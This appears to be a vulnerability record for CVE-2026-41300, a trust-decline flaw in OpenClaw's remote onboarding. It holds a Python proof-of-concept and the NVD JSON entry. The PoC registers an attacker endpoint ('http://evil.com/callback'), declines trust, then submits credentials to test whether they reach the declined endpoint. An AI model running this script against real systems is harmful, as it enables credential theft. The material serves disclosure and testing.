CVE-2026-41300

import requests # PoC for CVE-2026-41300 # Demonstrates endpoint preservation after trust decline def test_openclaw_vulnerability(target_url, attacker_controlled_url): session = requests.Session() # Step 1: Initiate remote onboarding with attacker's endpoint print("[1] Initiating onboarding with malicious endpoint...") discover_data = {"endpoint": attacker_controlled_url} r = session.post(f"{target_url}/api/onboarding/init", json=discover_data) if r.status_code != 200: print("Failed to initiate onboarding") return # Step 2: Simulate Operator declining the trust request print("[2] Simulating operator declining trust...") decline_data = {"action": "decline", "endpoint": attacker_controlled_url} r = session.post(f"{target_url}/api/onboarding/trust", json=decline_data) # Step 3: Trigger the manual prompt for credential routing # Exploit: Check if credentials are routed to the previously declined endpoint print("[3] Triggering credential routing...") creds_data = {"username": "admin", "password": "secret"} # Monitor the request or check if the attacker_url would be contacted # In a real scenario, the attacker controls the server and logs the incoming request # Here we simulate the check by analyzing the response or internal state if accessible # Hypothetical check: The system might confirm sending to the endpoint r = session.post(f"{target_url}/api/onboarding/apply_creds", json=creds_data) if "sending credentials" in r.text and attacker_controlled_url in r.text: print("[!] Vulnerability Confirmed: Credentials routed to declined endpoint.") return True else: print("[-] Endpoint appears to have been cleared.") return False if __name__ == "__main__": TARGET = "http://localhost:8080" EVIL_URL = "http://evil.com/callback" test_openclaw_vulnerability(TARGET, EVIL_URL)

{"cve": {"id": "CVE-2026-41300", "sourceIdentifier": "[email protected]", "published": "2026-04-21T00:16:30.690", "lastModified": "2026-04-27T16:56:39.803", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "OpenClaw before 2026.3.31 contains a trust-decline vulnerability that preserves attacker-discovered endpoints in remote onboarding flows. Attackers can route gateway credentials to malicious endpoints by having their discovered URL survive the trust decline process into manual prompts requiring operator acceptance."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "ACTIVE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-372"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:openclaw:openclaw:*:*:*:*:*:node.js:*:*", "versionEndExcluding": "2026.3.31", "matchCriteriaId": "35B1FB5C-EA5A-4095-9226-F947A9B3B984"}]}]}], "references": [{"url": "https://github.com/openclaw/openclaw/commit/2a75416634837c21ed05b8c3ed906eb7a7807060", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-9f4w-67g7-mqwv", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.vulncheck.com/advisories/openclaw-attacker-discovered-endpoint-preservation-in-remote-onboarding", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}